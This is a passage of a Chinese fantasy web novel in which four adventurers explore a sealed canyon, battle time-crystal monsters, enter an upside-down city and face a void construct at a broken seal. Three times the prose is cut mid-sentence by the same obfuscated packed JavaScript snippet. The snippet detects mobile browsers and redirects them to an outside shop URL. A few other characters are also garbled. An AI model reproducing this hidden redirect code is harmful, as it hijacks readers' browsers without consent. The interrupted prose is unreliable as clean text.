克莱尔立刻抢过了其中一杯，顾不上什么形象，脸埋进腾起的热雾里深吸一口气，发出发出一声满足的叹息。 “……活过来了。”她眯起眼睛，脸上终于有了点血色。 希罗接过杯子，没有说话，只是默默地喝了一口。但那双竖瞳微微放大，身后的斗篷鼓起了一小块，藏起来的尾巴正诚实地左右摇摆。 亚瑟是最郑重其事的一个，接过杯子，对艾什尔认真道谢：“多谢，艾什尔。这正是大家需要的。” 然而，最初的甘甜过后…… “咳咳咳咳咳咳咳——！！！” 一阵撕心裂肺的咳嗽声在冰原上爆发。 克莱尔整张脸涨得通红，眼泪瞬间就飙了出来。她捂着喉咙，感觉自己刚刚咽下去的不是热可可，而是一颗拉了环的手雷。 “水……咳咳……这是什么鬼东西！里面加了岩浆吗？！” 亚瑟也好不到哪去，这位受过严格训练的骑士猛锤胸甲，试图把那股直冲天灵盖的辛辣感压下去，整张俊脸扭曲成了一个表情包。 “好……好劲爆……咳咳！这里的肉桂粉这么猛吗？” “啊，抱歉，忘提了。” 艾什尔优雅地吹了吹热气，然后毫不在意地喝了一口。对他来说，这只是温度适宜的饮料。 “家父可能在这个批次里多加了一点‘佐料’，比如某种生长在熔岩河畔的魔鬼椒粉。” 他看着面前脸红脖子粗，但至少不再发抖的三位队友，露出了一个纯良无害的微笑。 克莱尔眼泪汪汪地瞪着他，张了张嘴想骂人，却只吐出了一个小小的火苗嗝。 倒是希罗，在最初的冲击之后，尾巴不受控制地散开，舒服地抖了抖毛。 一股狂暴但极其温暖的热流从胃部流遍全身。僵硬的四肢手脚开始发热，浑身上下都充斥着用不完的力量。 “呼……呼……” “……虽然难喝得像是在舔火元素巨人的脚底板。”克莱尔咂了咂嘴，回味那股奇怪的硫磺甜香，“不过确实管用。再来一杯。” “无限续杯。”艾什尔慷慨地举起保温杯示意。 …… “好了，既然加完油，该干正事了。” 在那片白茫茫的视界尽头，神弃峡谷漆黑的入口像张恭候多时的巨口。 风雪在这里似乎被什么力量压制了，不再肆虐，也因此让眼前的景象变得清晰。 「检测到异常魔力场。」阿福难得的郑重，「少爷，我们刚穿过一道结界边界。这道结界的年代……至少三千年以上。」 艾什尔抬起头，看向眼前的景象。 峡谷如大地被利斧劈开的创口，两侧峭壁笔直下切，岩壁覆盖着一层诡异的蓝灰色结晶，在没有阳光的天空下散发微弱冷光。 峡谷的内部弥漫着淡蓝雾气，静滞不动，连空气的流动都被冻结在这一瞬。 “太安静了。” 亚瑟握紧了剑柄，金色上的冰渣正在缓缓融化，顺着他的脸颊滴落。 “这里没有风，也没有雪。暴风雪就像被什么东西隔绝在了外面。” 克莱尔启动了侦测法术，紫罗兰色的瞳孔中隐约闪烁着符文光芒：“不是被隔绝，而是被拒绝了。看到两侧岩壁上那些结晶吗？那是固化的魔力残余，属于远古的封锁系法术。” “具体什么意思？” “意思是这道峡谷在几千年前就被人为封印了，但现在封印正在崩溃，那些蓝雾就是泄漏出来的能量。” 克莱尔说着，从空间背包里拿出一根秘银采集针，凑近峭壁上的结晶层，小心翼翼地采集样品。 “等等。” 亚瑟的圣剑的出鞘，绽放神圣的光芒。 “前方有……” 话没说完，众人看见了。 峡谷入口处散落着七八具人形物体。 它们维持着生前最后的姿态：半跪拔剑的、高举双臂试图阻挡什么的、蜷缩抱头做本能防御的。 但它们不再是人了。 每一具尸体都呈现出诡异的半透明状态，仿佛被某种伟力瞬间冻结在时间长河中。 艾什尔用手杖敲了敲最近的一座晶体。 清脆的回响，像玻璃，又像金属。 “咔。” 裂纹从接触点蔓延开去。这具晶体在三秒内碎成一地闪烁的粉尘，被风卷起，消散在空气中。 「生命特征：零。灵魂残留：零。值得注意的是，他们的时间线读数显示为……不存在。」 「少爷，这不是简单的冻结或石化。这些倒霉蛋被从时间本身中剔除了。用通俗的话来说，他们不是死了，而是从未活过。」 艾什尔微挑眉稍。 “有意思。” 克莱尔已经蹲在一具尸体旁边，仔细研究。 “不是冰属性，完全不是。看这个晶格结构……六角对称，但每一个面都存在微观尺度的时间差异。这是……” 她猛地抬头，困倦一扫而空，爆发出现新大陆般的亢奋。 “这是时空晶体！” 亚瑟皱起眉头：“什么？” “时空晶体！”克莱尔站起来，手舞足蹈地比划着，“在我的世界里，这只存在于最大胆的理论假说中！一种能够在时间维度上形成周期性结构的物质状态……简单来说，就是这些晶体本身在进行某种形式的时间循环！” 她的眼睛亮得吓人。 “如果我能取一块样本回去研究……” “冷静点，大法师。”希罗的声音从侧翼飘来，“先看看这个。” 他半蹲在一具蜷缩的晶体旁，反握短刀，用刀背拨开覆盖其上的积雪。 晶体的表面有一道裂痕。 不是外力造成的，更像是从内部产生的。裂痕的边缘呈现出奇异的渐变色，从淡蓝色逐渐过渡到深紫色。 “这里。”希罗刀尖轻点裂痕深处，“有东西在往外渗。” 克莱尔凑过去，脸色骤变。 “位面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193816|197114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撕裂的残余能量，我感受到了深渊位面的气息……但不完全是。这里面还掺杂着某种我从未见过的东西。” 她退后一步，看向艾什尔。 “看来被你说中了。这恐怕不是魔物异动，是位面入侵的前奏。” “小心。” 亚瑟发出警告，圣剑震颤。 前方混沌的蓝雾突然翻涌起来，伴随无数块玻璃同时炸裂的脆响，几个扭曲身影从雾气中剥离。 它们没有固定的形态。 起初像直立行走的冰巨人，下一秒形态重组，化作多足节肢生物。躯体由半透明幽蓝晶体堆砌，深紫色光脉如血管般在晶格深处搏动。 最前方的怪物右臂瞬间异化为巨大的晶体长枪，原地消失，残影还未消散，枪尖已刺到亚瑟眉心。 “圣光啊，成为我的盾牌！” 金色光辉在千钧一发之际爆发。 亚瑟不退反进，骑士甲上的符文全数亮起，他双手握剑，以一记朴实无华却力若千钧的上挑正面迎击。 “当——！！！” 圣剑与晶体长枪碰撞，激起大片崩落的光屑。足以贯穿城墙的一击被硬生生架在半空，圣光如同沸腾的油泼在冰雪上，发出滋滋的消融声。 “趁现在！”亚瑟吼道，双脚在冻土上犁出两道深痕。 “明白！” 克莱尔手中星辰典籍无风自动，书页狂乱翻飞。数道奥术铭文在空中构建成型。 “解构开始……物质定义……覆写！” 奥术光束贯穿与亚瑟僵持的怪物胸口，胸腔位置凭空消失了一部分。 与此同时，一道黑影贴着雪地滑过。 希罗鬼魅般闪现至左侧，出现在正欲偷袭克莱尔的第二只徘徊者身后。 双刀交叉，错身而过。 两道寒光精准切入怪物膝关节的连接薄弱点。怪物轰然倒地，摔成一地碎玻璃。 “干得漂亮，各位。” 艾什尔站在最后，像个教练一般评价道。 他视线越过战场，落向最后一只一直潜伏在蓝雾边缘的阴影。 那东西很聪明，趁着希罗解决第二只的时候，从他视野盲区从天而降，晶体前肢直指刺客毫无防备的后心。 “小心背后！”亚瑟大喊，但他被第一只怪物缠住，根本来不及救援。 “哎呀。”艾什尔轻笑了一声，摸了摸手腕上布满裂痕的漆黑晶石。 「灾厄共鸣·水逆时刻」 半空中那只即将得手的徘徊者，突然遭遇了魔生中最大的滑铁卢。 也许是因为之前的战斗震松了岩壁，一块拳头大小的碎石毫无征兆地脱落，正巧砸在了它后足关节上。 并不致命，但足以致命。 怪物完美的扑杀轨迹发生了极其微小的偏移，刺向希罗心脏的前肢擦着他的兜帽滑过，反而因为用力过猛收不住势头，整只怪连滚带爬地摔在希罗面前的空地上。 “砰！” 碎冰四溅。 希罗转过身，看着脚边那堆死得莫名其妙的碎冰渣，表情有一瞬间的空白。 “……运气不错。”希罗狐疑地回头看了一眼艾什尔。 “运气也是实力的一部分。” 艾什尔放下手，深藏功与名。 “而且这告诉我们一个道理：走路要看路，偷袭要看天。不然容易崴脚。” 16. 倒悬 “小心！还有一个！” 最后一只霜渊徘徊者猛地膨胀了一圈，标明晶刺由幽蓝转为血红。 它无视挡在面前的铁罐头亚瑟，躯□□化，从缝隙中流淌而过，直扑那个看起来最无害，最没威胁，甚至还在悠闲喝饮料的家伙。 “艾什尔！躲开！”克莱尔惊呼，根本来不及念咒。 怪物瞬息即至。 那张由无数破碎镜面拼凑的脸已逼至艾什尔面前半米，腐朽的寒气扑面而来。 艾什尔叹了口气。 “既然你这么急着去死……” 他微微侧身，幅度小得几乎只是礼貌性地让了一步。 也就是这微不足道的一侧身。 利爪擦着他的鼻尖掠过，这一击本该命中，但在灾厄共鸣石的水逆玄学干扰下，攻击轨迹发生了偏差。 紧接着，艾什尔抬起右手。 红宝石手杖「以理服人」在他手中转了个优雅的半圆，杖头那颗硕大宝石迎面撞上怪物主动送上来的脑门。 “……那就听听我的道理吧。” 咚—— 这根本不是法杖敲击应有的时声音，简直就像是攻城锤砸在了城门上。 “奥义·律师函警告。” 体型庞大的霜渊徘徊者像被高速行驶的魔导列车正面撞上，脑袋瞬间向内塌陷，身体在巨大冲击下倒飞出去，狠狠嵌进岩壁，扣都扣不下来。 随着怪物的身体化作碎片，一行燃烧着的炼狱语文字在空中浮现： 「反对无效」 全场寂静。 亚瑟举着剑保持着冲锋姿势，克莱尔吟唱了一半的咒语卡在喉咙里，希罗刚从阴影里探出半个身子准备补刀。 三个人六只眼睛，死死地盯着那个正在优雅地用手帕擦拭手杖的“顾问”。 艾什尔收好手帕，重新拿起保温杯，露出了一个无懈可击的职业微笑。 “这叫紧急避险。另外，我只是稍微利用了一点物理法则。” …… 四人沿着怪物涌出的方向继续前进，脚下踩过层层堆叠的灰蓝色晶粉。 粉末在靴底发出细碎的咯吱声，像踩在无数干枯的蝉蜕上。 “前面。”希罗指了指峡谷更深处，“有光。” 四人顺着刺客的指引前行。 峡谷在这里骤然收窄，两侧的岩壁几乎要压到头顶。但就在最狭窄的缝隙尽头，一道微弱的蓝光刺破黑暗。 那是一座神殿的入口。 整座建筑仿佛从峡谷岩壁中生长出来，粗糙的黑色岩柱支撑着厚重的入口拱顶，每根柱子上刻满了复杂的符文与纹饰，但岁月与风霜已将它们冲刷得模糊不清。 神殿两侧，跪伏的人形雕像守护着门口，头颅早已断裂，仅剩残躯维持着庄严的朝拜姿态。 “这就是‘神弃’的由来吗？”亚瑟压低了声音。 “合情合理。被神遗弃的地方，往往曾经是被神眷顾的地方。” “这是人族的？还是精灵的？” “都不是。”克莱尔走到了门前，“这些符文我从没见过。但它们的能量特征，和刚才那些晶化尸体上的紫色裂痕如出一辙。” “深渊神殿？”希罗的手已经按上了刀柄。 克莱尔摇头：“深渊的造物是混乱且无序的。但这座神殿，太规整了。” 神殿内部比外表看起来要宽敞得多。 从外面看，入口不过三四米宽，进入后却是一座巨大的圆形大厅。穹顶高耸，至少二十米，顶端开着圆形天窗，蓝光的来源便在那里。 幽蓝光柱倾泻而下，落在大厅中央的祭坛上。被光柱笼罩的区域，空气中飘浮的尘埃都静止不动。 “空间折叠。”克莱尔喃喃道，“内部空间被人为扩展了……这需要至少半神级的空间系法术。” “这里的时间流速不对。”希罗皱眉，刺客直觉发出警报，“光柱内部和外部是两个世界。” 艾什尔环顾四周。 大厅墙壁上的壁画大多已剥落，或被那种幽蓝晶体覆盖。但在残存的斑驳画面中，依然能勉强拼凑出一个形象。 那是一个……不可名状的存在。 祂拥有十二对羽翼，每一片羽毛都由燃烧的星辰勾勒而成。祂手中握着一架断裂的天平，一端承载着焚烧的世界，另一端则悬着一颗人类的心脏。 最诡异的，是那张空白的面孔。 既非眼睛，也非嘴巴，只是一片无垠虚无。 “这是……认知层面的强制抹除。”艾什尔凝视着那片虚无，“任何观测行为都会被修正。不是看不清，是不被允许看。” 「精准的分析，少爷。这种现象被称为高维遮蔽。通常只有半神以上的存在，才有能力实施这种认知干涉。」 艾什尔静静地站在壁画前，盯着那片空白。 然后，壁画动了。 并非颜料剥落，也不是光影错觉。 那个人形轮廓在艾什尔的视野中产生了极其违和的位移，就像沉睡亿万年的巨物在深海中翻了个身，带起无声的暗流。 「警告！检测到因果律震荡！少爷——」 阿福的声音还没说完，整座神殿就像是被扔进了搅拌机。 地面像海浪般起伏，石板相互挤压破碎。岩壁上沉寂的蓝色裂纹暴涨出刺目强光，神殿内部亮如白昼。 亚瑟本能地举剑护在身前，克莱尔的奥术护盾瞬间成型，希罗试图潜入阴影，却发现连阴影本身都在扭曲沸腾。 脚下的重力消失了。 艾什尔的内脏像被抽离般向上坠去，周围的石柱、台阶、队友的身影，都在视野中高速旋转。 仿佛整个世界被投入洗衣机，用力甩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193817|197114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干。 就在意识即将被甩散的边缘，他看见了。 壁画上那张空白的面孔，在时空碎片的缝隙中闪过一瞬。 只有一瞬。 艾什尔的瞳孔骤然收缩。 那张脸—— …… 世界被剥离了。 声音消失，光线湮灭，时间的概念被磨成了粉末。 在这片绝对的混乱中，艾什尔的意识却保持了一丝清醒。 或者说，是被某种力量强行拽住了一角。 他又看到了那个画面。 但这一次，不再是静态的壁画。 十二对星辰羽翼的身影缓缓转身。祂的神躯是一片燃烧的星系，无数恒星在其中诞生、燃烧、死亡、重生，永恒地循环。 但就在某个角度、某个瞬间，星光的排列组合在艾什尔眼中勾勒出了一个他无比熟悉的轮廓。 那个存在“看”着他。 无数破碎画面在艾什尔眼前闪现：燃烧的冰原、从苍穹垂落的巨型锁链、以及一个被一分为二的世界。 祂的嘴唇动了。 声音传入艾什尔的意识，那些音节像是被撕碎又重组的的古神低语，完全无法理解。 只有最后几个音节，勉强拼凑出形状，却在即将完整时被强行截断。 「警告，外部意识入侵已被拦截。」 阿福的声音重新响起。 「少爷，您刚才差点被某个不明高维存在进行强制信息灌输。根据《九狱法典》附录七，这种行为属于未经同意的精神接触，是可以起诉的。」 混沌褪去。 光线、声音、重力，一切感知如潮水般涌回。 艾什尔猛地睁开眼。 他想坐起来，但身体完全不听使唤。 重力不断扭曲，拉扯着他的身体向下压去。手掌触地，感知与实际方向错位，他只得依靠本能稳住身体。 艾什尔按着突突直跳的太阳穴，脸色煞白，胃里翻江倒海。 “这是我体验最差的位面穿越……我要给负责空间架构的神投诉。” 他艰难地抬起头，试图寻找队友，却被眼前的景象硬生生把抱怨的话堵了回去。 这里没有天空。 或者说，天空就在他的脚下。 一片无边无际的，燃烧着幽蓝色冷火的冰原覆盖了下方的世界。而他眼前，竟是一座宏伟庞大，却违背常理的城市…… 一座完全倒悬的城市。 黑色的尖塔、白色的宫殿、金色的穹顶、无数复杂到令人眼花缭乱的建筑群如同被倒置的王冠，向下延伸，最终消失在那片深不见底的虚空星海之中。 而他们四人躺在一座巨大的露天广场边缘，这里的重力被扭曲，让他们得以像苍蝇一样粘附在这个实际上天花板的地面上，免于坠入下方冷焰之中。 17. 之城 “传送……这绝对不是传送……” 不远处，克莱尔毫无形象地摊在地上，脸色惨白如纸，双眼里满是眩晕的蚊香圈。 “这是……把人塞进洗衣机……最大档脱水……再甩出来……我想吐……” 她干呕了两声，什么都没吐出来。 希罗的状况稍好，但也好不到哪去。他半蹲着，一手撑地一手按住太阳穴：“这里不对。没有风，没有回音，连灰尘都没有。” “大家都还在吧？” 亚瑟恢复得最快，第一时间举起圣剑扫视四周，确认每个人都还是完整的。 “……这里是哪里？地狱吗？” 他抬头望着那些倒垂的高塔，瞳孔地震。 “不。” 艾什尔终于把被重力搅成一团浆糊的前庭神经捋顺了。他不紧不慢地拧开保温杯盖，给自己来了一口热可可压惊。 “地狱的装修风格偏向重金属和硫磺朋克，主打一个虽然烫脚但热闹喜庆。这里……” 他抿了一口，瞥向四周死寂的冷光。 “太性冷淡了，不符合我家老头子的审美。” 他没有说出口的是，他认得这座城市。 不是现在。 克莱尔终于挣扎着爬起来，腿还在打颤。但当她抬头看见那座倒悬之城的全貌时，法师的求知欲瞬间压倒了生理不适。 “法神在上……” 她张大了嘴，连下巴都要掉到地上了。过了足足五秒，克莱尔才回过神，从怀里掏出《星辰典籍》。 “这种建筑风格……这种空间结构……这不可能！根据《位面拓扑学》第三定律，这种构只能存在于高维投影或者……或者……” 她的语速越来越快，沉浸到自己的世界里。 亚瑟站起身来，目光扫过四周。 往下看，是深邃无垠的虚空星海。 往上看，是倒悬的宏伟城市。 他们脚下是灰黑色的平台，边缘外是无尽的虚空。没有太阳，没有月亮，唯有幽蓝微光笼罩一切，像置身于深海的最底层。 “我们需要找到出路。”骑士沉声说道，“不管这里是什么地方，总有入口就有出口。” “乐观得令人感动。”克莱尔一边用袖子擦嘴角一边冷笑，“你有没有考虑过，把我们传送进来的那个法阵是单向的？” “那就找另一个法阵。”亚瑟回答得斩钉截铁。 “好了，来都来了，总得进去看看。”艾什尔打断两人的拌嘴，手杖指向那座倒悬城市。 “我同意。在这里干等着只会坐以待毙，至少进城之后，我们能找到更多线索。” 话音刚落，一阵奇异的震动扫过整个平台。 远处的倒悬城市中心，那座最高的尖塔顶端骤然亮起一点星火。 紧接着，一条半透明的阶梯从尖塔顶端延伸而出，跨越混乱的虚空，一路铺展到众人脚下的平台边缘。 “看来主人家已经铺好红地毯了。” 艾什尔看着那条路，保温杯盖拧了回去。 “虽然没有鲜花和掌声，但请君入瓮的仪式感倒是给足了。” “那我们——” “走。” 第一步踏上阶梯时，艾什尔一瞬间以为自己会径直坠入虚空。 脚下触碰到了坚实的平面，传来的触感却如同踩在凝固的月光上。 阶梯散发着幽蓝冷光，透过脚下可以清晰地看见下方那片无垠的虚空星海。 亚瑟走在最前方，圣剑出鞘，剑身的金色微光在这片幽蓝的世界里格外醒目。 “保持警惕。我们不知道这阶梯通向何处，也不知道前方有什么在等着我们。“ 克莱尔走在队伍中间，盯着脚下的光芒：“这是空间折叠的具象化？不对，密度不够。更像是……时间晶体的线性延展？” “说人话。” 克莱尔瞪了希罗一眼：“简单来说，这条路本身不该存在于物质界。它是某种更高维度规则的投影。” “所以我们踩着一条不存在的路往前走。” “差不多是这个意思。” “嗯。” 刺客面无表情地往前迈了一步。 “比走钢丝还糟，钢丝好歹是真的存在。” 艾什尔殿后，表面上是被保护在队伍后方，实际上他在观察。 这座城市比梦中更加清晰。 不是幻象，这座城市真实存在过，有人在这里生活过，行走过，呼吸过。 然后在某一天，它被连根拔起，倒扣在虚空之上。 亚瑟的目光不断扫视四周：“太安静了。从进来到现在，除了我们说话、移动，什么声音都没有。” “因为我们现在所处的空间不遵循正常位面的物理法则。” 克莱尔一边走一边念念有词。 “如果我的推测没错，这座城市本身就是一个独立的半位面。被高阶意志强行从主物质界切割出去的空间碎片。” “能够创造稳定半位面的技术，在我原来的世界里属于禁忌领域，因为那意味着篡改世界本源的权限。” 阶梯向着倒悬的城市延伸，每一步，那种违背常理的压迫感就加重一分。 而当他们走到阶梯的三分之二处时，重力开始出错。 那种感觉无法用语言精确描述。 所有关于“上”与“下”的认知在一刹那被颠倒，“下”的概念从脚下挪到了头顶，而“上”则踩在了脚下。 “保持移动！越快穿过这片区域越好！”亚瑟咬着牙，拎着差点摔倒的克莱尔的领子。 大约持续了十秒钟，或者十分钟，在这个没有正常时间流逝概念的空间里很难判断。 当他们迈下最后一级台阶，踏上稳固的平地时，那种天旋地转的感觉才终于消失。 两侧是高耸的建筑，倒悬的尖塔、拱门、飞扶壁，现在全都正常地矗立着。 只是天空变了。 抬头望去，那片燃烧着幽蓝冷火的无尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193818|197114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冰原，沉甸甸地压在他们的头顶。无边无际的白色荒原在天空延伸，偶尔闪烁的蓝色火星像扭曲的星辰，缀满了这面倒扣的穹顶。 “我们……从下面变到上面了？” “不，是参照系变了。对这座城市来说，我们现在才是‘正’的。” “你怎么一点事都没有？！”克莱尔捂着还在翻江倒海的胃，嫉妒地看着艾什尔。 “习惯了。” 艾什尔轻描淡写地回答。在九狱的某些层面，重力方向每三分钟就会随机变换一次，那才叫真正的噩梦。 目光扫过四周，没有梦里那具插着黑枪的十二翼尸体。 那个东西不在这里？又或是，不在这条时间线里？ 还是梦境与现实本就存在偏差？ 艾什尔没有把这个疑问说出口。 这条街道宽阔而荒凉，所有建筑都没有门窗整座城市像一座永远沉睡的墓碑群。 长街尽头矗立着一块巨大的石碑。 足有十米高，材质如半透明的黑曜石，内部封着流动的星光，缓慢旋转，永不停歇。 石碑表面刻满了陌生的文字，即便只是注视片刻，眼球就开始发酸发胀。 克莱尔强忍着不适，眯眼研究：“龙语！古典龙语！这种书写方式至少有三万年的历史……” 她突然卡住了。 “不对，这是由两种文字组成的，一种是龙语，另一种……我没见过。” 艾什尔站在她旁边，看着那些文字。 一股说不清来处的熟悉感从心底涌上来。 他没有学过这种文字，也确信自己从未见过。 但那些笔画的走向、符文的排列组合，却让他产生了微弱的共鸣，仿佛他本该认识这些文字。 脑海隐隐作痛。 艾什尔在心里呼唤：“阿福，你能翻译吗？” 片刻的沉默。 「少爷……有点麻烦。」 “哪种麻烦？需要五分钟翻译的麻烦，还是世界要毁灭了的麻烦？” 「介于两者之间。」 那个总是以全知全能自居的管家，竟出现了前所未有的犹豫。 「身为记载万世真理的禁忌魔典，我收录了万千位面的所有文字。这些符文的含义确实存在于我的记载中。我能感知到它们，甚至能模糊地理解这些文字所表达的含义。但是……」 “但是？” 「有东西不让我说。」 艾什尔眉头一挑。 “呵，别告诉我你这本号称收录了多元宇宙所有不平等条约的法典是个文盲。” 「措辞可以更尊重一些，少爷。」 阿福的语气终于恢复了一点平时的刻薄。 「不是我的能力不足，而是任何试图读取文字信息的行为，都会被更高层级的规则强制中断。」 「除非您能把我的本体拿来，或者让宗主大人亲自降临。但现在……我只能说，这是一种只有神祗级别才能使用的禁忌文字。」 18. 折断的黎明 艾什尔收回目光，嘴角那抹笑意没有消散，但眼底的温度降了下去。 连九狱的投影都被屏蔽。 老头子给他找的这份差事，远比预想中棘手。 “我们的天才大法师都读不懂吗？” 他转过身，红瞳里那点深思被从容的笑意覆盖。 “龙语部分我能读一些。”克莱尔眯起眼睛，指尖沿着碑面的古老文字缓缓移动。 “这是……方位指引？还是某种宣言？‘此处为……之……归……所……’” “还有这一段：‘见证者……行于……坠之……’后面这个词我不认识，但根据龙语的语法结构，应该代表中心或者核心。” 四人的目光齐刷刷投向街道尽头。 那座最高的尖塔像柄倒插进大地的巨剑，塔尖没入那片由冷焰构成的诡异苍穹，亦或是深渊。 “起雾了。”希罗忽然提醒。 艾什尔低头看了一眼脚下，黑色石砖表面不知何时覆盖了一层薄薄的幽蓝光尘。 不像普通的雾那样随风飘散，而是紧贴着地面，浓稠的如同液体。 “魔力尘埃。” 克莱尔伸手探入雾中。漂浮的蓝色微粒在她指尖汇聚，然后像活物一样试图钻入皮肤。 她皱眉甩了甩手，一层奥术护盾在她皮肤表面闪烁，将微粒弹开。 “高浓度固态化的魔力尘埃。这里的以太密度已经超过了正常环境的一千倍。理论上，我们现在应该已经因为魔力中毒而全身溃烂了。” “怪不得我觉得呼吸像是在吞冰碴子。” 亚瑟抹了一把银甲上的蓝霜，圣剑的光辉在越来越浓重的蓝雾中被压缩成了不到两米的微弱光圈，摇摇欲坠。 街道的尽头，一道十米高的拱门矗立。两侧立柱刻满了与石碑相同的禁忌文字。 而拱门内侧，是一条通向地下的阶梯。 每一级台阶都镶嵌着蓝色晶体，光芒将整条通道映照成一条坠入深海的甬道。 “往下走？”亚瑟皱起眉头，“我还以为我们要往上爬塔。” “这里的物理法则早就不正常了。”克莱尔的语气里带着压抑不住的亢奋，“往下走可能就是往上走，或者往左走是往右走。谁知道呢？” “你好像很开心。” “当然。这种级别的空间构架样本，如果能活着带回我的世界写成论文，我在《奥术真理月刊》至少能发表五篇以上！” “前提是活着回去。”希罗从旁补充。 “悲观主义者。” 四人踏入阶梯。 越往下走，蓝雾越浓。 随着深入，那种粘稠的幽蓝光雾逐渐漫过脚踝、膝盖，直至腰部。视野被单调的蓝色填满，每一次呼吸都需要调动力气与这沉重的空气对抗。 “停！” 克莱尔突然停下脚步。 “怎么了？”亚瑟立刻举起圣剑。 “看前面。” 阶梯到了尽头。 他们站在一个巨大的圆形地下空间边缘。地面由漆黑石材铺就，刻满了密集到让人眩晕的符文法阵。 法阵的正中央摆放着一口石棺。 棺体由与地面相同的黑石雕成，棺盖上的浮雕已被岁月磨蚀，只剩下隐约可辨的羽翼纹样。 石棺的中间裂开了一道缝隙。 不像是被外力破坏，倒更像是从内部被撑爆的。 浓郁得近乎液态的蓝雾正从那道裂缝中源源不断地涌出。 那不仅仅是雾。 那是世界屏障被撕裂后，从伤口处流出的血液。 “源头在这儿……这是一个被破坏的位面封印！封印失效了，另一边的东西正在往这边涌！” 「少爷，建议您现在立刻……」 阿福的警告话音未落，裂缝处涌出的蓝雾骤然暴涨。 一个不该存在于此界的存在正强行通过狭窄的通道，把空间壁垒挤压得吱嘎作响。 “克莱尔！能不能先把这裂缝堵上？！” “我在尝试！这个封印的结构太复杂了——” 《星辰典籍》悬浮在克莱尔面前疯狂翻页，她双手十指在虚空中飞速勾勒，一道道复杂的奥术符文刚成型就被涌出的蓝雾冲散。 “能量回路崩坏……节点缺失……如果能重构三个锚点，理论上也许……” “没时间给你搞理论了。” 希罗盯着裂口，琥珀色竖瞳收缩成一条线。 “有东西出来了。” 断裂的封印中，从那个通往另一个世界的裂缝里，有什么东西在蓝雾中成型。 它足有三米高。 全身覆盖着厚重的漆黑板甲，甲面流淌着如同星图般的暗纹。 原本应该是头颅的位置空空荡荡，只有一团燃烧的虚空黑火跃动。 它手中拖着一柄足以充当断头台闸刀的斩.马刀，紫黑的弧光沿着刀刃不断爆裂。 背后，七个漆黑圆环反重力悬浮，缓缓旋转。 “清除……异物。” 虚空裁决者举起斩.马刀，刀锋所过之处，空气像玻璃一样裂开又愈合。 “那把刀能切空间！”克莱尔撑起护盾，声音拔高，“亚瑟，别硬接！” 「少爷，目标识别：虚空裁决者。构装体类型。预测危险等级：灾难级。」 艾什尔标志性的漫不经心笑容消失了。 麻烦大了。 他越过三名队友，径直走向那道开裂的封印。 “亚瑟，希罗，克莱尔。帮我争取五分钟。” “你要做什么？” 艾什尔没有回头，黑翎羽笔从袖口滑入指间，笔尖燃起九狱秘火。 “修复是不可能的，但我可以在这个破损的合同上，加几个补充条款。” 他的笔尖点了点石棺的断面，暗红火焰与蓝雾接触的瞬间发出刺耳的嘶鸣。 “能给我五分钟吗，骑士团长阁下？” 亚瑟深吸了一口气。 他看着艾什尔那双即使在深渊面前依然带着笑意的红眸，手中的圣剑突然变得无比沉重，又无比滚烫。 “五分钟。就算死，我也给你争取出来。” 战斗一触即发。 虚空裁决者的第一刀劈下时，圆形空间的穹顶被震落了三块碎石。 亚瑟正面迎击。圣剑与斩.马刀碰撞的刹那，金色圣光与黑紫弧光炸裂开来，冲击波将地面的蓝雾向四周掀开一个直径十米的真空圈。 他的双脚在黑石地面上滑出两道半米长的沟壑，靴底冒出焦烟。 第二刀。 亚瑟整条手臂的骨头都在发出咔嚓声，剑上的圣光符文逐个熄灭。光芒退散之处，暗纹悄然蔓延。 “希罗！关节！” 刺客不需要第二次提醒。 希罗化作一道抓不住的黑烟，双刀在虚空裁决者膝关节的缝隙中划出一串火星。 刀锋切入了甲片之间的连接结构，但只深入了不到一厘米。那层星图暗纹亮起，像活物一样将刀刃向外排斥。 克莱尔的奥术飞弹和迟缓术不要钱似的砸向那个钢铁怪物。魔力在铠甲表面炸开，溅起大片星图碎屑，但那些暗纹在几秒内就重新流动，修补完毕。 它根本不在意这些攻击。 第三刀。 斩.马刀横扫，亚瑟来不及闪避，被刀身的气浪掀飞出去。他撞上一根石柱，石柱从中间断裂，大块碎石砸落在他身上。 他咳出一口血，用剑撑地，爬了起来。 第四刀、第五刀、第六刀。 每一次，亚瑟都被击退。每一次，他都重新站起来挡在艾什尔和虚空裁决者之间。

